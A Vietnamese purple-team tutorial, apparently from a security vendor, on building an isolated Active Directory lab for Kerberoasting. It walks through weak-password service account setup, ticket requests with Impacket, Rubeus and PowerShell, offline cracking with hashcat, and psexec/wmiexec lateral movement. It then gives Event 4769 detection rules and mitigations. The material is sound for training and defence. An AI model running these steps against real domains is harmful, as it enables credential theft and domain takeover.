Hướng dẫn dựng lab Active Directory bị tấn công bằng Kerberoasting

Kerberoasting là một trong những kỹ thuật tấn công Active Directory phổ biến và nguy hiểm nhất — cho phép kẻ tấn công chiếm quyền service account mà không cần đặc quyền admin, chỉ cần một tài khoản domain user thông thường. Kỹ thuật này được MITRE ATT&CK phân loại là T1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting.

Bài viết này hướng dẫn bạn dựng một lab Active Directory hoàn chỉnh để mô phỏng tấn công Kerberoasting — từ thiết lập hạ tầng, cấu hình service account dễ bị tấn công, thực hiện tấn công, đến phát hiện và phòng chống. Lab này phù hợp cho cả Red Team (luyện kỹ thuật tấn công) lẫn Blue Team (xây dựng detection rule) và đặc biệt hữu ích cho Purple Team Exercise.


Kerberoasting là gì?

Trước khi dựng lab, cần hiểu cơ chế tấn công.

Kerberos là giao thức xác thực mặc định trong môi trường Active Directory. Khi user muốn truy cập một dịch vụ (SQL Server, IIS, Exchange…), quy trình diễn ra như sau: user gửi yêu cầu đến Domain Controller (KDC) → KDC trả về một TGS ticket (Ticket Granting Service) được mã hóa bằng password hash của service account → user gửi TGS ticket đến dịch vụ để xác thực.

Điểm yếu: Bất kỳ domain user nào cũng có thể yêu cầu TGS ticket cho bất kỳ service nào có đăng ký SPN (Service Principal Name). TGS ticket được mã hóa bằng password hash của service account — nếu password yếu, kẻ tấn công có thể crack offline mà không gây ra bất kỳ cảnh báo nào trên hệ thống.

Kerberoasting khai thác chính điểm yếu này: yêu cầu TGS ticket → export ticket → crack offline bằng hashcat/john → lấy được password của service account → sử dụng service account (thường có đặc quyền cao) để di chuyển ngang hoặc chiếm toàn bộ domain.


Kiến trúc lab

Lab gồm 3 máy ảo trên cùng một mạng Host-Only/Internal (cách ly khỏi mạng thật):

Máy 1 — Domain Controller (DC)

  • OS: Windows Server 2019 hoặc 2022
  • Vai trò: Active Directory Domain Services (AD DS), DNS
  • Tên miền: lab.local (hoặc tùy chọn)
  • IP: 10.10.10.10

Máy 2 — Client Windows

  • OS: Windows 10/11
  • Vai trò: Máy trạm đã join domain, đại diện cho máy nhân viên
  • IP: 10.10.10.20

Máy 3 — Attacker

  • OS: Kali Linux (hoặc bất kỳ Linux distro nào có Impacket)
  • Vai trò: Máy tấn công
  • IP: 10.10.10.30

Nền tảng ảo hóa: VirtualBox, VMware Workstation, hoặc Hyper-V. Đảm bảo tất cả máy ảo nằm trên cùng một mạng nội bộ cách ly (Host-Only hoặc Internal Network).


Bước 1: Thiết lập Domain Controller

Cài đặt Windows Server và Active Directory

Cài đặt Windows Server 2019/2022, đặt IP tĩnh 10.10.10.10, DNS trỏ về chính nó (127.0.0.1).

Mở PowerShell với quyền Administrator và cài đặt AD DS:

Install-WindowsFeature AD-Domain-Services -IncludeManagementTools

Thăng cấp thành Domain Controller:

Install-ADDSForest `
-DomainName "lab.local" `
-DomainNetbiosName "LAB" `
-SafeModeAdministratorPassword (ConvertTo-SecureString "P@ssw0rd!2024" -AsPlainText -Force) `
-InstallDns `
-Force

Server sẽ tự khởi động lại. Sau khi reboot, bạn đã có một Domain Controller hoạt động với domain lab.local.

Tạo tài khoản người dùng thông thường

Tạo một domain user đại diện cho nhân viên — đây là tài khoản mà kẻ tấn công sẽ sử dụng (chỉ cần quyền domain user thông thường):

New-ADUser -Name "Nguyen Van A" `
-SamAccountName "nguyenvana" `
-UserPrincipalName "nguyenvana@lab.local" `
-AccountPassword (ConvertTo-SecureString "User@123456" -AsPlainText -Force) `
-Enabled $true `
-PasswordNeverExpires $true `
-Path "CN=Users,DC=lab,DC=local"

Tạo service account dễ bị Kerberoast

Đây là bước quan trọng nhất — tạo service account với password yếu và đăng ký SPN:

# Tạo service account
New-ADUser -Name "SQL Service" `
-SamAccountName "sql_svc" `
-UserPrincipalName "sql_svc@lab.local" `
-AccountPassword (ConvertTo-SecureString "SQLPass123" -AsPlainText -Force) `
-Enabled $true `
-PasswordNeverExpires $true `
-ServicePrincipalNames @("MSSQLSvc/dc01.lab.local:1433") `
-Path "CN=Users,DC=lab,DC=local"

Hoặc đăng ký SPN bằng lệnh setspn:

setspn -A MSSQLSvc/dc01.lab.local:1433 lab\sql_svc

Xác minh SPN đã được đăng ký:

setspn -L sql_svc

Kết quả mong đợi:

Registered ServicePrincipalNames for CN=SQL Service,CN=Users,DC=lab,DC=local:
MSSQLSvc/dc01.lab.local:1433

Tại sao password yếu quan trọng: Trong lab, ta cố tình đặt password yếu (“SQLPass123”) để minh họa tấn công thành công. Trong thực tế, đây chính là lỗi phổ biến nhất — service account được tạo với password đơn giản và không bao giờ thay đổi.

(Tùy chọn) Tạo thêm nhiều service account

Để lab phong phú hơn, tạo thêm vài service account với mức độ password khác nhau:

# Service account với password mạnh (không crack được)
New-ADUser -Name "Web Service" `
-SamAccountName "web_svc" `
-AccountPassword (ConvertTo-SecureString "X7#mK9@pL2!qR4vN" -AsPlainText -Force) `
-Enabled $true -PasswordNeverExpires $true `
-ServicePrincipalNames @("HTTP/web01.lab.local") `
-Path "CN=Users,DC=lab,DC=local"
# Service account với password trung bình
New-ADUser -Name "Backup Service" `
-SamAccountName "backup_svc" `
-AccountPassword (ConvertTo-SecureString "Backup2024!" -AsPlainText -Force) `
-Enabled $true -PasswordNeverExpires $true `
-ServicePrincipalNames @("HOST/backup01.lab.local") `
-Path "CN=Users,DC=lab,DC=local"

Điều này giúp minh họa rằng Kerberoasting chỉ thành công khi service account dùng password yếu.


Bước 2: Thiết lập máy Client Windows

Cài đặt Windows 10/11, đặt IP 10.10.10.20, DNS trỏ về Domain Controller (10.10.10.10). Join domain:

Add-Computer -DomainName "lab.local" -Credential LAB\Administrator -Restart

Sau khi reboot, đăng nhập bằng tài khoản domain user lab\nguyenvana.


Bước 3: Thiết lập máy Attacker (Kali Linux)

Cài đặt Kali Linux, đặt IP 10.10.10.30, DNS trỏ về 10.10.10.10.

Cài đặt Impacket (nếu chưa có):

sudo apt update
sudo apt install python3-impacket impacket-scripts -y

Xác minh kết nối đến Domain Controller:

ping 10.10.10.10
nslookup lab.local 10.10.10.10

Bước 4: Thực hiện tấn công Kerberoasting

Phương pháp 1 — Từ máy Kali Linux với Impacket

Bước 4.1: Liệt kê SPN trong domain

Sử dụng GetUserSPNs.py từ Impacket để tìm tất cả service account có SPN:

impacket-GetUserSPNs lab.local/nguyenvana:'User@123456' \
-dc-ip 10.10.10.10 \
-request

Kết quả sẽ hiển thị danh sách các service account có SPN kèm TGS ticket hash ở định dạng Kerberos 5 TGS-REP:

ServicePrincipalName Name MemberOf PasswordLastSet
-------------------------------- --------- -------- -------------------
MSSQLSvc/dc01.lab.local:1433 sql_svc 2024-01-15 10:30:22
HTTP/web01.lab.local web_svc 2024-01-15 10:35:18
HOST/backup01.lab.local backup_svc 2024-01-15 10:38:45
$krb5tgs$23$*sql_svc$LAB.LOCAL$... [hash dài]
$krb5tgs$23$*web_svc$LAB.LOCAL$... [hash dài]
$krb5tgs$23$*backup_svc$LAB.LOCAL$... [hash dài]

Lưu hash vào file:

impacket-GetUserSPNs lab.local/nguyenvana:'User@123456' \
-dc-ip 10.10.10.10 \
-request \
-outputfile kerberoast_hashes.txt

Bước 4.2: Crack hash offline bằng Hashcat

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

Trong đó -m 13100 là mode cho Kerberos 5 TGS-REP (RC4). Với password yếu “SQLPass123”, hashcat sẽ crack trong vài giây. Password mạnh “X7#mK9@pL2!qR4vN” sẽ không bị crack.

Hoặc dùng John the Ripper:

john kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Phương pháp 2 — Từ máy Windows Client với Rubeus

Trên máy Windows Client (đã đăng nhập với domain user), tải Rubeus và chạy:

Rubeus.exe kerberoast /outfile:hashes.txt

Rubeus sẽ tự động tìm tất cả service account có SPN, yêu cầu TGS ticket và xuất hash ra file.

Phương pháp 3 — Từ máy Windows Client với PowerShell thuần

Không cần tool bên ngoài, dùng PowerShell gốc:

# Tìm tất cả user có SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Yêu cầu TGS ticket
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
-ArgumentList "MSSQLSvc/dc01.lab.local:1433"

Sau đó export ticket từ memory bằng Mimikatz hoặc Rubeus.


Bước 5: Khai thác sau tấn công (Post-Exploitation)

Sau khi crack được password của sql_svc, kẻ tấn công có thể sử dụng tài khoản này để di chuyển ngang:

# Truy cập máy khác bằng service account
impacket-psexec lab.local/sql_svc:'SQLPass123'@10.10.10.10
# Hoặc sử dụng WMI
impacket-wmiexec lab.local/sql_svc:'SQLPass123'@10.10.10.10

Nếu service account có quyền admin trên các server (rất phổ biến trong thực tế), kẻ tấn công có thể chiếm toàn bộ domain.


Bước 6: Phát hiện Kerberoasting (Blue Team)

Đây là phần quan trọng nhất cho mục đích diễn tập — xây dựng khả năng phát hiện.

Event ID cần giám sát

Trên Domain Controller, bật Advanced Audit Policy:

auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable

Kerberoasting tạo ra Event ID 4769 (A Kerberos service ticket was requested) trong Security log. Dấu hiệu đáng ngờ:

  • Ticket Encryption Type = 0x17 (RC4-HMAC): Kẻ tấn công thường yêu cầu RC4 vì dễ crack hơn AES. Trong môi trường hiện đại, RC4 nên bị coi là bất thường.
  • Nhiều yêu cầu TGS từ cùng một user trong thời gian ngắn: Một user bình thường hiếm khi yêu cầu ticket cho nhiều service cùng lúc.
  • User thông thường yêu cầu ticket cho service account đặc quyền: Nhân viên kế toán yêu cầu TGS cho SQL service — bất thường.

Detection rule cho SIEM

Ví dụ rule cho Splunk:

index=windows sourcetype=WinEventLog:Security EventCode=4769
| where Ticket_Encryption_Type="0x17"
| stats count by Account_Name, Service_Name, Client_Address
| where count > 3
| sort -count

Ví dụ rule cho Elastic/KQL:

event.code: "4769" and winlog.event_data.TicketEncryptionType: "0x17"
| stats count by winlog.event_data.TargetUserName, winlog.event_data.ServiceName
| where count > 3

Sigma rule (cross-platform)

title: Potential Kerberoasting Activity
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
filter:
ServiceName|endswith: '$'
condition: selection and not filter
timeframe: 5m
count: 3
level: high
tags:
- attack.credential_access
- attack.t1558.003

Bước 7: Phòng chống Kerberoasting

Sau khi thực hành tấn công và phát hiện, áp dụng các biện pháp phòng chống:

Mật khẩu mạnh cho service account: Tối thiểu 25 ký tự, ngẫu nhiên. Đây là biện pháp hiệu quả nhất — password đủ dài và phức tạp sẽ không bị crack dù bị Kerberoast.

Sử dụng Group Managed Service Accounts (gMSA): Windows tự động quản lý và xoay password (120 ký tự, tự đổi 30 ngày/lần). gMSA loại bỏ hoàn toàn rủi ro Kerberoasting.

# Tạo KDS Root Key (chỉ cần chạy 1 lần)
Add-KdsRootKey -EffectiveImmediately
# Tạo gMSA
New-ADServiceAccount -Name "gmsa_sql" `
-DNSHostName "gmsa_sql.lab.local" `
-PrincipalsAllowedToRetrieveManagedPassword "Domain Controllers"

Ép buộc mã hóa AES cho Kerberos: Trong thuộc tính service account, bật “This account supports Kerberos AES 256 bit encryption”. AES khó crack hơn RC4 rất nhiều.

Set-ADUser sql_svc -KerberosEncryptionType AES256

Giám sát liên tục: Triển khai detection rule cho Event ID 4769 với encryption type RC4, cảnh báo khi một user yêu cầu TGS cho nhiều service bất thường.


Áp dụng vào diễn tập Purple Team

Lab này có thể được sử dụng trực tiếp trong Purple Team Exercise theo quy trình:

Red Team thực hiện: Enumerate SPN → Request TGS tickets → Crack offline → Lateral movement bằng service account.

Blue Team đánh giá: Event ID 4769 có được ghi nhận không? SIEM có detection rule không? Rule có trigger cảnh báo không? SOC analyst có nhận được alert và biết cách điều tra không?

Cùng đánh giá kết quả: Nếu không phát hiện → bổ sung audit policy, viết detection rule, cập nhật playbook. Nếu phát hiện → đánh giá thời gian phát hiện, chất lượng alert, quy trình escalation.

Mapping MITRE ATT&CK:

  • Tactic: Credential Access
  • Technique: T1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting
  • Data Source: Windows Security Event Log (Event ID 4769)

Sau buổi Purple Team, cập nhật heatmap ATT&CK Navigator — đánh dấu T1558.003 từ “đỏ” (không phát hiện) sang “xanh” (đã có detection rule và playbook).


Kết luận

Kerberoasting là kỹ thuật tấn công mà mọi đội Red Team cần thành thạo và mọi đội Blue Team cần biết cách phát hiện. Lab trong bài viết này có thể dựng trong vài giờ với tài nguyên tối thiểu (3 máy ảo), nhưng mang lại giá trị học tập lớn cho cả offensive lẫn defensive.

Quan trọng hơn, lab này minh họa một nguyên tắc cốt lõi của diễn tập: hiểu cách tấn công hoạt động là bước đầu tiên để xây dựng phòng thủ hiệu quả. Khi Red Team và Blue Team cùng nhìn vào cùng một kỹ thuật tấn công — một bên học cách khai thác, một bên học cách phát hiện — đó chính là Purple Team Exercise ở dạng thực tế nhất.


Security365 cung cấp dịch vụ xây dựng lab diễn tập Active Directory và tổ chức Purple Team Exercise theo khung MITRE ATT&CK — giúp đội ngũ của bạn thực hành tấn công và phòng thủ trên hạ tầng mô phỏng sát thực tế. Liên hệ với chúng tôi để bắt đầu.